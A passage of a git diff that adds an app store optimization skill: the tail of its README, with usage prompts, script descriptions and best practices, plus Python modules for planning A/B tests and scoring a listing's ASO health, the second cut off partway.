validation for all fields +- Keyword density analysis +- Before/after comparison + +### Competitor Analysis Report +- Top 10 competitors in category +- Their metadata strategies +- Keyword overlap analysis +- Visual asset assessment +- Rating and review volume comparison +- Identified gaps and opportunities + +### ASO Health Score +- Overall score (0-100) +- Category breakdown: + - Metadata Quality (0-25) + - Ratings & Reviews (0-25) + - Keyword Performance (0-25) + - Conversion Metrics (0-25) +- Specific improvement recommendations +- Priority action items + +### A/B Test Plan +- Hypothesis and test variables +- Test duration recommendations +- Success metrics definition +- Sample size calculations +- Statistical significance thresholds + +### Launch Checklist +- Pre-submission validation (all required assets, metadata) +- Store compliance verification +- Testing checklist (devices, OS versions) +- Marketing preparation items +- Post-launch monitoring plan + +## How to Use + +### Keyword Research +``` +Hey Claude—I just added the "app-store-optimization" skill. Can you research the best keywords for a productivity app targeting professionals? Focus on keywords with good search volume but lower competition. +``` + +### Optimize App Store Listing +``` +Hey Claude—I just added the "app-store-optimization" skill. Can you optimize my app's metadata for the Apple App Store? Here's my current listing: [provide current metadata]. I want to rank for "task management" and "productivity tools". +``` + +### Analyze Competitor Strategy +``` +Hey Claude—I just added the "app-store-optimization" skill. Can you analyze the ASO strategies of Todoist, Any.do, and Microsoft To Do? I want to understand what they're doing well and where there are opportunities. +``` + +### Review Sentiment Analysis +``` +Hey Claude—I just added the "app-store-optimization" skill. Can you analyze recent reviews for my app (com.myapp.ios) and identify the most common user complaints and feature requests? +``` + +### Calculate ASO Score +``` +Hey Claude—I just added the "app-store-optimization" skill. Can you calculate my app's overall ASO health score and provide specific recommendations for improvement? +``` + +### Plan A/B Test +``` +Hey Claude—I just added the "app-store-optimization" skill. I want to A/B test my app icon and first screenshot. Can you help me design the test and determine how long to run it? +``` + +### Pre-Launch Checklist +``` +Hey Claude—I just added the "app-store-optimization" skill. Can you generate a comprehensive pre-launch checklist for submitting my app to both Apple App Store and Google Play Store? +``` + +## Scripts + +### keyword_analyzer.py +Analyzes keywords for search volume, competition, and relevance. Provides strategic recommendations for primary and secondary keywords. + +**Key Functions:** +- `analyze_keyword()`: Analyze single keyword metrics +- `compare_keywords()`: Compare multiple keywords +- `find_long_tail()`: Discover long-tail keyword opportunities +- `calculate_keyword_difficulty()`: Assess competition level + +### metadata_optimizer.py +Optimizes titles, descriptions, and keyword fields with platform-specific character limit validation. + +**Key Functions:** +- `optimize_title()`: Create compelling, keyword-rich titles +- `optimize_description()`: Generate conversion-focused descriptions +- `optimize_keyword_field()`: Maximize Apple's 100-char keyword field +- `validate_character_limits()`: Ensure compliance with platform limits +- `calculate_keyword_density()`: Analyze keyword usage in metadata + +### competitor_analyzer.py +Analyzes top competitors' ASO strategies and identifies opportunities. + +**Key Functions:** +- `get_top_competitors()`: Identify category leaders +- `analyze_competitor_metadata()`: Extract and analyze competitor keywords +- `compare_visual_assets()`: Evaluate icons and screenshots +- `identify_gaps()`: Find competitive opportunities + +### aso_scorer.py +Calculates comprehensive ASO health score across multiple dimensions. + +**Key Functions:** +- `calculate_overall_score()`: Compute 0-100 ASO score +- `score_metadata_quality()`: Evaluate title, description, keywords +- `score_ratings_reviews()`: Assess rating quality and volume +- `score_keyword_performance()`: Analyze ranking positions +- `score_conversion_metrics()`: Evaluate impression-to-install rates +- `generate_recommendations()`: Provide prioritized action items + +### ab_test_planner.py +Plans and tracks A/B tests for metadata and visual assets. + +**Key Functions:** +- `design_test()`: Create test hypothesis and variables +- `calculate_sample_size()`: Determine required test duration +- `calculate_significance()`: Assess statistical significance +- `track_results()`: Monitor test performance +- `generate_report()`: Summarize test outcomes + +### localization_helper.py +Manages multi-language ASO optimization strategies. + +**Key Functions:** +- `identify_target_markets()`: Recommend localization priorities +- `translate_metadata()`: Generate localized metadata +- `adapt_keywords()`: Research locale-specific keywords +- `validate_translations()`: Check character limits per language +- `calculate_localization_roi()`: Estimate impact of localization + +### review_analyzer.py +Analyzes user reviews for sentiment, issues, and feature requests. + +**Key Functions:** +- `analyze_sentiment()`: Calculate positive/negative/neutral ratios +- `extract_common_themes()`: Identify frequently mentioned topics +- `identify_issues()`: Surface bugs and user complaints +- `find_feature_requests()`: Extract desired features +- `track_sentiment_trends()`: Monitor sentiment over time +- `generate_response_templates()`: Create review response drafts + +### launch_checklist.py +Generates comprehensive pre-launch and update checklists. + +**Key Functions:** +- `generate_prelaunch_checklist()`: Complete submission validation +- `validate_app_store_compliance()`: Check Apple guidelines +- `validate_play_store_compliance()`: Check Google policies +- `create_update_plan()`: Plan update cadence and features +- `optimize_launch_timing()`: Recommend release dates +- `plan_seasonal_campaigns()`: Identify seasonal opportunities + +## Best Practices + +### Keyword Research +1. **Volume vs. Competition**: Balance high-volume keywords with achievable rankings +2. **Relevance First**: Only target keywords genuinely relevant to your app +3. **Long-Tail Strategy**: Include 3-4 word phrases with lower competition +4. **Continuous Research**: Keyword trends change—research quarterly +5. **Competitor Keywords**: Don't copy blindly; ensure relevance to your features + +### Metadata Optimization +1. **Front-Load Keywords**: Place most important keywords early in title/description +2. **Natural Language**: Write for humans first, SEO second +3. **Feature Benefits**: Focus on user benefits, not just features +4. **A/B Test Everything**: Test titles, descriptions, screenshots systematically +5. **Update Regularly**: Refresh metadata every major update +6. **Character Limits**: Use every character—don't waste valuable space +7. **Apple Keyword Field**: No plurals, duplicates, or spaces between commas + +### Visual Assets +1. **Icon**: Must be recognizable at small sizes (60x60px) +2. **Screenshots**: First 2-3 are critical—most users don't scroll +3. **Captions**: Use screenshot captions to tell your value story +4. **Consistency**: Match visual style to app design +5. **A/B Test Icons**: Icon is the single most important visual element + +### Reviews & Ratings +1. **Respond Quickly**: Reply to reviews within 24-48 hours +2. **Professional Tone**: Always courteous, even with negative reviews +3. **Address Issues**: Show you're actively fixing reported problems +4. **Thank Supporters**: Acknowledge positive reviews +5. **Prompt Strategically**: Ask for ratings after positive experiences + +### Launch Strategy +1. **Soft Launch**: Consider launching in smaller markets first +2. **PR Timing**: Coordinate press coverage with launch +3. **Update Frequently**: Initial updates signal active development +4. **Monitor Closely**: Track metrics daily for first 2 weeks +5. **Iterate Quickly**: Fix critical issues immediately + +### Localization +1. **Prioritize Markets**: Start with English, Spanish, Chinese, French, German +2. **Native Speakers**: Use professional translators, not machine translation +3. **Cultural Adaptation**: Some features resonate differently by culture +4. **Test Locally**: Have native speakers review before publishing +5. **Measure ROI**: Track downloads by locale to assess impact + +## Limitations + +### Data Dependencies +- Keyword search volume estimates are approximate (no official data from Apple/Google) +- Competitor data may be incomplete for private apps +- Review analysis limited to public reviews (can't access private feedback) +- Historical data may not be available for new apps + +### Platform Constraints +- Apple App Store keyword changes require app submission (except Promotional Text) +- Google Play Store metadata changes take 1-2 hours to index +- A/B testing requires significant traffic for statistical significance +- Store algorithms are proprietary and change without notice + +### Industry Variability +- ASO benchmarks vary significantly by category (games vs. utilities) +- Seasonality affects different categories differently +- Geographic markets have different competitive landscapes +- Cultural preferences impact what works in different countries + +### Scope Boundaries +- Does not include paid user acquisition strategies (Apple Search Ads, Google Ads) +- Does not cover app development or UI/UX optimization +- Does not include app analytics implementation (use Firebase, Mixpanel, etc.) +- Does not handle app submission technical issues (provisioning profiles, certificates) + +### When NOT to Use This Skill +- For web apps (different SEO strategies apply) +- For enterprise apps not in public stores +- For apps in beta/TestFlight only +- If you need paid advertising strategies (use marketing skills instead) + +## Integration with Other Skills + +This skill works well with: +- **Content Strategy Skills**: For creating app descriptions and marketing copy +- **Analytics Skills**: For analyzing download and engagement data +- **Localization Skills**: For managing multi-language content +- **Design Skills**: For creating optimized visual assets +- **Marketing Skills**: For coordinating broader launch campaigns + +## Version & Updates + +This skill is based on current Apple App Store and Google Play Store requirements as of November 2025. Store policies and best practices evolve—verify current requirements before major launches. + +**Key Updates to Monitor:** +- Apple App Store Connect updates (apple.com/app-store/review/guidelines) +- Google Play Console updates (play.google.com/console/about/guides/releasewithconfidence) +- iOS/Android version adoption rates (affects device testing) +- Store algorithm changes (follow ASO blogs and communities) diff --git a/skills/app-store-optimization/ab_test_planner.py b/skills/app-store-optimization/ab_test_planner.py new file mode 100644 index 00000000..06a80161 --- /dev/null +++ b/skills/app-store-optimization/ab_test_planner.py @@ -0,0 +1,662 @@ +""" +A/B testing module for App Store Optimization. +Plans and tracks A/B tests for metadata and visual assets. +""" + +from typing import Dict, List, Any, Optional +import math + + +class ABTestPlanner: + """Plans and tracks A/B tests for ASO elements.""" + + # Minimum detectable effect sizes (conservative estimates) + MIN_EFFECT_SIZES = { + 'icon': 0.10, # 10% conversion improvement + 'screenshot': 0.08, # 8% conversion improvement + 'title': 0.05, # 5% conversion improvement + 'description': 0.03 # 3% conversion improvement + } + + # Statistical confidence levels + CONFIDENCE_LEVELS = { + 'high': 0.95, # 95% confidence + 'standard': 0.90, # 90% confidence + 'exploratory': 0.80 # 80% confidence + } + + def __init__(self): + """Initialize A/B test planner.""" + self.active_tests = [] + + def design_test( + self, + test_type: str, + variant_a: Dict[str, Any], + variant_b: Dict[str, Any], + hypothesis: str, + success_metric: str = 'conversion_rate' + ) -> Dict[str, Any]: + """ + Design an A/B test with hypothesis and variables. + + Args: + test_type: Type of test ('icon', 'screenshot', 'title', 'description') + variant_a: Control variant details + variant_b: Test variant details + hypothesis: Expected outcome hypothesis + success_metric: Metric to optimize + + Returns: + Test design with configuration + """ + test_design = { + 'test_id': self._generate_test_id(test_type), + 'test_type': test_type, + 'hypothesis': hypothesis, + 'variants': { + 'a': { + 'name': 'Control', + 'details': variant_a, + 'traffic_split': 0.5 + }, + 'b': { + 'name': 'Variation', + 'details': variant_b, + 'traffic_split': 0.5 + } + }, + 'success_metric': success_metric, + 'secondary_metrics': self._get_secondary_metrics(test_type), + 'minimum_effect_size': self.MIN_EFFECT_SIZES.get(test_type, 0.05), + 'recommended_confidence': 'standard', + 'best_practices': self._get_test_best_practices(test_type) + } + + self.active_tests.append(test_design) + return test_design + + def calculate_sample_size( + self, + baseline_conversion: float, + minimum_detectable_effect: float, + confidence_level: str = 'standard', + power: float = 0.80 + ) -> Dict[str, Any]: + """ + Calculate required sample size for statistical significance. + + Args: + baseline_conversion: Current conversion rate (0-1) + minimum_detectable_effect: Minimum effect size to detect (0-1) + confidence_level: 'high', 'standard', or 'exploratory' + power: Statistical power (typically 0.80 or 0.90) + + Returns: + Sample size calculation with duration estimates + """ + alpha = 1 - self.CONFIDENCE_LEVELS[confidence_level] + beta = 1 - power + + # Expected conversion for variant B + expected_conversion_b = baseline_conversion * (1 + minimum_detectable_effect) + + # Z-scores for alpha and beta + z_alpha = self._get_z_score(1 - alpha / 2) # Two-tailed test + z_beta = self._get_z_score(power) + + # Pooled standard deviation + p_pooled = (baseline_conversion + expected_conversion_b) / 2 + sd_pooled = math.sqrt(2 * p_pooled * (1 - p_pooled)) + + # Sample size per variant + n_per_variant = math.ceil( + ((z_alpha + z_beta) ** 2 * sd_pooled ** 2) / + ((expected_conversion_b - baseline_conversion) ** 2) + ) + + total_sample_size = n_per_variant * 2 + + # Estimate duration based on typical traffic + duration_estimates = self._estimate_test_duration( + total_sample_size, + baseline_conversion + ) + + return { + 'sample_size_per_variant': n_per_variant, + 'total_sample_size': total_sample_size, + 'baseline_conversion': baseline_conversion, + 'expected_conversion_improvement': minimum_detectable_effect, + 'expected_conversion_b': expected_conversion_b, + 'confidence_level': confidence_level, + 'statistical_power': power, + 'duration_estimates': duration_estimates, + 'recommendations': self._generate_sample_size_recommendations( + n_per_variant, + duration_estimates + ) + } + + def calculate_significance( + self, + variant_a_conversions: int, + variant_a_visitors: int, + variant_b_conversions: int, + variant_b_visitors: int + ) -> Dict[str, Any]: + """ + Calculate statistical significance of test results. + + Args: + variant_a_conversions: Conversions for control + variant_a_visitors: Visitors for control + variant_b_conversions: Conversions for variation + variant_b_visitors: Visitors for variation + + Returns: + Significance analysis with decision recommendation + """ + # Calculate conversion rates + rate_a = variant_a_conversions / variant_a_visitors if variant_a_visitors > 0 else 0 + rate_b = variant_b_conversions / variant_b_visitors if variant_b_visitors > 0 else 0 + + # Calculate improvement + if rate_a > 0: + relative_improvement = (rate_b - rate_a) / rate_a + else: + relative_improvement = 0 + + absolute_improvement = rate_b - rate_a + + # Calculate standard error + se_a = math.sqrt(rate_a * (1 - rate_a) / variant_a_visitors) if variant_a_visitors > 0 else 0 + se_b = math.sqrt(rate_b * (1 - rate_b) / variant_b_visitors) if variant_b_visitors > 0 else 0 + se_diff = math.sqrt(se_a**2 + se_b**2) + + # Calculate z-score + z_score = absolute_improvement / se_diff if se_diff > 0 else 0 + + # Calculate p-value (two-tailed) + p_value = 2 * (1 - self._standard_normal_cdf(abs(z_score))) + + # Determine significance + is_significant_95 = p_value < 0.05 + is_significant_90 = p_value < 0.10 + + # Generate decision + decision = self._generate_test_decision( + relative_improvement, + is_significant_95, + is_significant_90, + variant_a_visitors + variant_b_visitors + ) + + return { + 'variant_a': { + 'conversions': variant_a_conversions, + 'visitors': variant_a_visitors, + 'conversion_rate': round(rate_a, 4) + }, + 'variant_b': { + 'conversions': variant_b_conversions, + 'visitors': variant_b_visitors, + 'conversion_rate': round(rate_b, 4) + }, + 'improvement': { + 'absolute': round(absolute_improvement, 4), + 'relative_percentage': round(relative_improvement * 100, 2) + }, + 'statistical_analysis': { + 'z_score': round(z_score, 3), + 'p_value': round(p_value, 4), + 'is_significant_95': is_significant_95, + 'is_significant_90': is_significant_90, + 'confidence_level': '95%' if is_significant_95 else ('90%' if is_significant_90 else 'Not significant') + }, + 'decision': decision + } + + def track_test_results( + self, + test_id: str, + results_data: Dict[str, Any] + ) -> Dict[str, Any]: + """ + Track ongoing test results and provide recommendations. + + Args: + test_id: Test identifier + results_data: Current test results + + Returns: + Test tracking report with next steps + """ + # Find test + test = next((t for t in self.active_tests if t['test_id'] == test_id), None) + if not test: + return {'error': f'Test {test_id} not found'} + + # Calculate significance + significance = self.calculate_significance( + results_data['variant_a_conversions'], + results_data['variant_a_visitors'], + results_data['variant_b_conversions'], + results_data['variant_b_visitors'] + ) + + # Calculate test progress + total_visitors = results_data['variant_a_visitors'] + results_data['variant_b_visitors'] + required_sample = results_data.get('required_sample_size', 10000) + progress_percentage = min((total_visitors / required_sample) * 100, 100) + + # Generate recommendations + recommendations = self._generate_tracking_recommendations( + significance, + progress_percentage, + test['test_type'] + ) + + return { + 'test_id': test_id, + 'test_type': test['test_type'], + 'progress': { + 'total_visitors': total_visitors, + 'required_sample_size': required_sample, + 'progress_percentage': round(progress_percentage, 1), + 'is_complete': progress_percentage >= 100 + }, + 'current_results': significance, + 'recommendations': recommendations, + 'next_steps': self._determine_next_steps( + significance, + progress_percentage + ) + } + + def generate_test_report( + self, + test_id: str, + final_results: Dict[str, Any] + ) -> Dict[str, Any]: + """ + Generate final test report with insights and recommendations. + + Args: + test_id: Test identifier + final_results: Final test results + + Returns: + Comprehensive test report + """ + test = next((t for t in self.active_tests if t['test_id'] == test_id), None) + if not test: + return {'error': f'Test {test_id} not found'} + + significance = self.calculate_significance( + final_results['variant_a_conversions'], + final_results['variant_a_visitors'], + final_results['variant_b_conversions'], + final_results['variant_b_visitors'] + ) + + # Generate insights + insights = self._generate_test_insights( + test, + significance, + final_results + ) + + # Implementation plan + implementation_plan = self._create_implementation_plan( + test, + significance + ) + + return { + 'test_summary': { + 'test_id': test_id, + 'test_type': test['test_type'], + 'hypothesis': test['hypothesis'], + 'duration_days': final_results.get('duration_days', 'N/A') + }, + 'results': significance, + 'insights': insights, + 'implementation_plan': implementation_plan, + 'learnings': self._extract_learnings(test, significance) + } + + def _generate_test_id(self, test_type: str) -> str: + """Generate unique test ID.""" + import time + timestamp = int(time.time()) + return f"{test_type}_{timestamp}" + + def _get_secondary_metrics(self, test_type: str) -> List[str]: + """Get secondary metrics to track for test type.""" + metrics_map = { + 'icon': ['tap_through_rate', 'impression_count', 'brand_recall'], + 'screenshot': ['tap_through_rate', 'time_on_page', 'scroll_depth'], + 'title': ['impression_count', 'tap_through_rate', 'search_visibility'], + 'description': ['time_on_page', 'scroll_depth', 'tap_through_rate'] + } + return metrics_map.get(test_type, ['tap_through_rate']) + + def _get_test_best_practices(self, test_type: str) -> List[str]: + """Get best practices for specific test type.""" + practices_map = { + 'icon': [ + 'Test only one element at a time (color vs. style vs. symbolism)', + 'Ensure icon is recognizable at small sizes (60x60px)', + 'Consider cultural context for global audience', + 'Test against top competitor icons' + ], + 'screenshot': [ + 'Test order of screenshots (users see first 2-3)', + 'Use captions to tell story', + 'Show key features and benefits', + 'Test with and without device frames' + ], + 'title': [ + 'Test keyword variations, not major rebrand', + 'Keep brand name consistent', + 'Ensure title fits within character limits', + 'Test on both search and browse contexts' + ], + 'description': [ + 'Test structure (bullet points vs. paragraphs)', + 'Test call-to-action placement', + 'Test feature vs. benefit focus', + 'Maintain keyword density' + ] + } + return practices_map.get(test_type, ['Test one variable at a time']) + + def _estimate_test_duration( + self, + required_sample_size: int, + baseline_conversion: float + ) -> Dict[str, Any]: + """Estimate test duration based on typical traffic levels.""" + # Assume different daily traffic scenarios + traffic_scenarios = { + 'low': 100, # 100 page views/day + 'medium': 1000, # 1000 page views/day + 'high': 10000 # 10000 page views/day + } + + estimates = {} + for scenario, daily_views in traffic_scenarios.items(): + days = math.ceil(required_sample_size / daily_views) + estimates[scenario] = { + 'daily_page_views': daily_views, + 'estimated_days': days, + 'estimated_weeks': round(days / 7, 1) + } + + return estimates + + def _generate_sample_size_recommendations( + self, + sample_size: int, + duration_estimates: Dict[str, Any] + ) -> List[str]: + """Generate recommendations based on sample size.""" + recommendations = [] + + if sample_size > 50000: + recommendations.append( + "Large sample size required - consider testing smaller effect size or increasing traffic" + ) + + if duration_estimates['medium']['estimated_days'] > 30: + recommendations.append( + "Long test duration - consider higher minimum detectable effect or focus on high-impact changes" + ) + + if duration_estimates['low']['estimated_days'] > 60: + recommendations.append( + "Insufficient traffic for reliable testing - consider user acquisition or broader targeting" + ) + + if not recommendations: + recommendations.append("Sample size and duration are reasonable for this test") + + return recommendations + + def _get_z_score(self, percentile: float) -> float: + """Get z-score for given percentile (approximation).""" + # Common z-scores + z_scores = { + 0.80: 0.84, + 0.85: 1.04, + 0.90: 1.28, + 0.95: 1.645, + 0.975: 1.96, + 0.99: 2.33 + } + return z_scores.get(percentile, 1.96) + + def _standard_normal_cdf(self, z: float) -> float: + """Approximate standard normal cumulative distribution function.""" + # Using error function approximation + t = 1.0 / (1.0 + 0.2316419 * abs(z)) + d = 0.3989423 * math.exp(-z * z / 2.0) + p = d * t * (0.3193815 + t * (-0.3565638 + t * (1.781478 + t * (-1.821256 + t * 1.330274)))) + + if z > 0: + return 1.0 - p + else: + return p + + def _generate_test_decision( + self, + improvement: float, + is_significant_95: bool, + is_significant_90: bool, + total_visitors: int + ) -> Dict[str, Any]: + """Generate test decision and recommendation.""" + if total_visitors < 1000: + return { + 'decision': 'continue', + 'rationale': 'Insufficient data - continue test to reach minimum sample size', + 'action': 'Keep test running' + } + + if is_significant_95: + if improvement > 0: + return { + 'decision': 'implement_b', + 'rationale': f'Variant B shows {improvement*100:.1f}% improvement with 95% confidence', + 'action': 'Implement Variant B' + } + else: + return { + 'decision': 'keep_a', + 'rationale': 'Variant A performs better with 95% confidence', + 'action': 'Keep current version (A)' + } + + elif is_significant_90: + if improvement > 0: + return { + 'decision': 'implement_b_cautiously', + 'rationale': f'Variant B shows {improvement*100:.1f}% improvement with 90% confidence', + 'action': 'Consider implementing B, monitor closely' + } + else: + return { + 'decision': 'keep_a', + 'rationale': 'Variant A performs better with 90% confidence', + 'action': 'Keep current version (A)' + } + + else: + return { + 'decision': 'inconclusive', + 'rationale': 'No statistically significant difference detected', + 'action': 'Either keep A or test different hypothesis' + } + + def _generate_tracking_recommendations( + self, + significance: Dict[str, Any], + progress: float, + test_type: str + ) -> List[str]: + """Generate recommendations for ongoing test.""" + recommendations = [] + + if progress < 50: + recommendations.append( + f"Test is {progress:.0f}% complete - continue collecting data" + ) + + if progress >= 100: + if significance['statistical_analysis']['is_significant_95']: + recommendations.append( + "Sufficient data collected with significant results - ready to conclude test" + ) + else: + recommendations.append( + "Sample size reached but no significant difference - consider extending test or concluding" + ) + + return recommendations + + def _determine_next_steps( + self, + significance: Dict[str, Any], + progress: float + ) -> str: + """Determine next steps for test.""" + if progress < 100: + return f"Continue test until reaching 100% sample size (currently {progress:.0f}%)" + + decision = significance.get('decision', {}).get('decision', 'inconclusive') + + if decision == 'implement_b': + return "Implement Variant B and monitor metrics for 2 weeks" + elif decision == 'keep_a': + return "Keep Variant A and design new test with different hypothesis" + else: + return "Test inconclusive - either keep A or design new test" + + def _generate_test_insights( + self, + test: Dict[str, Any], + significance: Dict[str, Any], + results: Dict[str, Any] + ) -> List[str]: + """Generate insights from test results.""" + insights = [] + + improvement = significance['improvement']['relative_percentage'] + + if significance['statistical_analysis']['is_significant_95']: + insights.append( + f"Strong evidence: Variant B {'improved' if improvement > 0 else 'decreased'} " + f"conversion by {abs(improvement):.1f}% with 95% confidence" + ) + + insights.append( + f"Tested {test['test_type']} changes: {test['hypothesis']}" + ) + + # Add context-specific insights + if test['test_type'] == 'icon' and improvement > 5: + insights.append( + "Icon change had substantial impact - visual first impression is critical" + ) + + return insights + + def _create_implementation_plan( + self, + test: Dict[str, Any], + significance: Dict[str, Any] + ) -> List[Dict[str, str]]: + """Create implementation plan for winning variant.""" + plan = [] + + if significance.get('decision', {}).get('decision') == 'implement_b': + plan.append({ + 'step': '1. Update store listing', + 'details': f"Replace {test['test_type']} with Variant B across all platforms" + }) + plan.append({ + 'step': '2. Monitor metrics', + 'details': 'Track conversion rate for 2 weeks to confirm sustained improvement' + }) + plan.append({ + 'step': '3. Document learnings', + 'details': 'Record insights for future optimization' + }) + + return plan + + def _extract_learnings( + self, + test: Dict[str, Any], + significance: Dict[str, Any] + ) -> List[str]: + """Extract key learnings from test.""" + learnings = [] + + improvement = significance['improvement']['relative_percentage'] + + learnings.append( + f"Testing {test['test_type']} can yield {abs(improvement):.1f}% conversion change" + ) + + if test['test_type'] == 'title': + learnings.append( + "Title changes affect search visibility and user perception" + ) + elif test['test_type'] == 'screenshot': + learnings.append( + "First 2-3 screenshots are critical for conversion" + ) + + return learnings + + +def plan_ab_test( + test_type: str, + variant_a: Dict[str, Any], + variant_b: Dict[str, Any], + hypothesis: str, + baseline_conversion: float +) -> Dict[str, Any]: + """ + Convenience function to plan an A/B test. + + Args: + test_type: Type of test + variant_a: Control variant + variant_b: Test variant + hypothesis: Test hypothesis + baseline_conversion: Current conversion rate + + Returns: + Complete test plan + """ + planner = ABTestPlanner() + + test_design = planner.design_test( + test_type, + variant_a, + variant_b, + hypothesis + ) + + sample_size = planner.calculate_sample_size( + baseline_conversion, + planner.MIN_EFFECT_SIZES.get(test_type, 0.05) + ) + + return { + 'test_design': test_design, + 'sample_size_requirements': sample_size + } diff --git a/skills/app-store-optimization/aso_scorer.py b/skills/app-store-optimization/aso_scorer.py new file mode 100644 index 00000000..ba4ea6ac --- /dev/null +++ b/skills/app-store-optimization/aso_scorer.py @@ -0,0 +1,482 @@ +""" +ASO scoring module for App Store Optimization. +Calculates comprehensive ASO health score across multiple dimensions. +""" + +from typing import Dict, List, Any, Optional + + +class ASOScorer: + """Calculates overall ASO health score and provides recommendations.""" + + # Score weights for different components (total = 100) + WEIGHTS = { + 'metadata_quality': 25, + 'ratings_reviews': 25, + 'keyword_performance': 25, + 'conversion_metrics': 25 + } + + # Benchmarks for scoring + BENCHMARKS = { + 'title_keyword_usage': {'min': 1, 'target': 2}, + 'description_length': {'min': 500, 'target': 2000}, + 'keyword_density': {'min': 2, 'optimal': 5, 'max': 8}, + 'average_rating': {'min': 3.5, 'target': 4.5}, + 'ratings_count': {'min': 100, 'target': 5000}, + 'keywords_top_10': {'min': 2, 'target': 10}, + 'keywords_top_50': {'min': 5, 'target': 20}, + 'conversion_rate': {'min': 0.02, 'target': 0.10} + } + + def __init__(self): + """Initialize ASO scorer.""" + self.score_breakdown = {} + + def calculate_overall_score( + self, + metadata: Dict[str, Any], + ratings: Dict[str, Any], + keyword_performance: Dict[str, Any], + conversion: Dict[str, Any] + ) -> Dict[str, Any]: + """ + Calculate comprehensive ASO score (0-100). + + Args: + metadata: Title, description quality metrics + ratings: Rating average and count + keyword_performance: Keyword ranking data + conversion: Impression-to-install metrics + + Returns: + Overall score with detailed breakdown + """ + # Calculate component scores + metadata_score = self.score_metadata_quality(metadata) + ratings_score = self.score_ratings_reviews(ratings) + keyword_score = self.score_keyword_performance(keyword_performance) + conversion_score = self.score_conversion_metrics(conversion) + + # Calculate weighted overall score + overall_score = ( + metadata_score * (self.WEIGHTS['metadata_quality'] / 100) + + ratings_score * (self.WEIGHTS['ratings_reviews'] / 100) + + keyword_score * (self.WEIGHTS['keyword_performance'] / 100) + + conversion_score * (self.WEIGHTS['conversion_metrics'] / 100) + ) + + # Store breakdown + self.score_breakdown = { + 'metadata_quality': { + 'score': metadata_score, + 'weight': self.WEIGHTS['metadata_quality'], + 'weighted_contribution': round(metadata_score * (self.WEIGHTS['metadata_quality'] / 100), 1) + }, + 'ratings_reviews': { + 'score': ratings_score, + 'weight': self.WEIGHTS['ratings_reviews'], + 'weighted_contribution': round(ratings_score * (self.WEIGHTS['ratings_reviews'] / 100), 1) + }, + 'keyword_performance': { + 'score': keyword_score, + 'weight': self.WEIGHTS['keyword_performance'], + 'weighted_contribution': round(keyword_score * (self.WEIGHTS['keyword_performance'] / 100), 1) + }, + 'conversion_metrics': { + 'score': conversion_score, + 'weight': self.WEIGHTS['conversion_metrics'], + 'weighted_contribution': round(conversion_score * (self.WEIGHTS['conversion_metrics'] / 100), 1) + } + } + + # Generate recommendations + recommendations = self.generate_recommendations( + metadata_score, + ratings_score, + keyword_score, + conversion_score + ) + + # Assess overall health + health_status = self._assess_health_status(overall_score) + + return { + 'overall_score': round(overall_score, 1), + 'health_status': health_status, + 'score_breakdown': self.score_breakdown, + 'recommendations': recommendations, + 'priority_actions': self._prioritize_actions(recommendations), + 'strengths': self._identify_strengths(self.score_breakdown), + 'weaknesses': self._identify_weaknesses(self.score_breakdown) + } + + def score_metadata_quality(self, metadata: Dict[str, Any]) -> float: + """ + Score metadata quality (0-100). + + Evaluates: + - Title optimization + - Description quality + - Keyword usage + """ + scores = [] + + # Title score (0-35 points) + title_keywords = metadata.get('title_keyword_count', 0) + title_length = metadata.get('title_length', 0) + + title_score = 0 + if title_keywords >= self.BENCHMARKS['title_keyword_usage']['target']: + title_score = 35 + elif title_keywords >= self.BENCHMARKS['title_keyword_usage']['min']: + title_score = 25 + else: + title_score = 10 + + # Adjust for title length usage + if title_length > 25: # Using most of available space + title_score += 0 + else: + title_score -= 5 + + scores.append(min(title_score, 35)) + + # Description score (0-35 points) + desc_length = metadata.get('description_length', 0) + desc_quality = metadata.get('description_quality', 0.0) # 0-1 scale + + desc_score = 0 + if desc_length >= self.BENCHMARKS['description_length']['target']: + desc_score = 25 + elif desc_length >= self.BENCHMARKS['description_length']['min']: + desc_score = 15 + else: + desc_score = 5 + + # Add quality bonus + desc_score += desc_quality * 10 + scores.append(min(desc_score, 35)) + + # Keyword density score (0-30 points) + keyword_density = metadata.get('keyword_density', 0.0) + + if self.BENCHMARKS['keyword_density']['min'] <= keyword_density <= self.BENCHMARKS['keyword_density']['optimal']: + density_score = 30 + elif keyword_density < self.BENCHMARKS['keyword_density']['min']: + # Too low - proportional scoring + density_score = (keyword_density / self.BENCHMARKS['keyword_density']['min']) * 20 + else: + # Too high (keyword stuffing) - penalty + excess = keyword_density - self.BENCHMARKS['keyword_density']['optimal'] + density_score = max(30 - (excess * 5), 0) + + scores.append(density_score) + + return round(sum(scores), 1) + + def score_ratings_reviews(self, ratings: Dict[str, Any]) -> float: + """ + Score ratings and reviews (0-100). + + Evaluates: + - Average rating + - Total ratings count + - Review velocity + """ + average_rating = ratings.get('average_rating', 0.0) + total_ratings = ratings.get('total_ratings', 0) + recent_ratings = ratings.get('recent_ratings_30d', 0) + + # Rating quality score (0-50 points) + if average_rating >= self.BENCHMARKS['average_rating']['target']: + rating_quality_score = 50 + elif average_rating >= self.BENCHMARKS['average_rating']['min']: + # Proportional scoring between min and target + proportion = (average_rating - self.BENCHMARKS['average_rating']['min']) / \ + (self.BENCHMARKS['average_rating']['target'] - self.BENCHMARKS['average_rating']['min']) + rating_quality_score = 30 + (proportion * 20) + elif average_rating >= 3.0: + rating_quality_score = 20 + else: + rating_quality_score = 10 + + # Rating volume score (0-30 points) + if total_ratings >= self.BENCHMARKS['ratings_count']['target']: + rating_volume_score = 30 + elif total_ratings >= self.BENCHMARKS['ratings_count']['min']: + # Proportional scoring + proportion = (total_ratings - self.BENCHMARKS['ratings_count']['min']) / \ + (self.BENCHMARKS['ratings_count']['target'] - self.BENCHMARKS['ratings_count']['min']) + rating_volume_score = 15 + (proportion * 15) + else: + # Very low volume + rating_volume_score = (total_ratings / self.BENCHMARKS['ratings_count']['min']) * 15 + + # Rating velocity score (0-20 points) + if recent_ratings > 100: + velocity_score = 20 + elif recent_ratings > 50: + velocity_score = 15 + elif recent_ratings > 10: + velocity_score = 10 + else: + velocity_score = 5 + + total_score = rating_quality_score + rating_volume_score + velocity_score + + return round(min(total_score, 100), 1) + + def score_keyword_performance(self, keyword_performance: Dict[str, Any]) -> float: + """ + Score keyword ranking performance (0-100). + + Evaluates: + - Top 10 rankings + - Top 50 rankings + - Ranking trends + """ + top_10_count = keyword_performance.get('top_10', 0) + top_50_count = keyword_performance.get('top_50', 0) + top_100_count = keyword_performance.get('top_100', 0) + improving_keywords = keyword_performance.get('improving_keywords', 0) + + # Top 10 score (0-50 points) - most valuable rankings + if top_10_count >= self.BENCHMARKS['keywords_top_10']['target']: + top_10_score = 50 + elif top_10_count >= 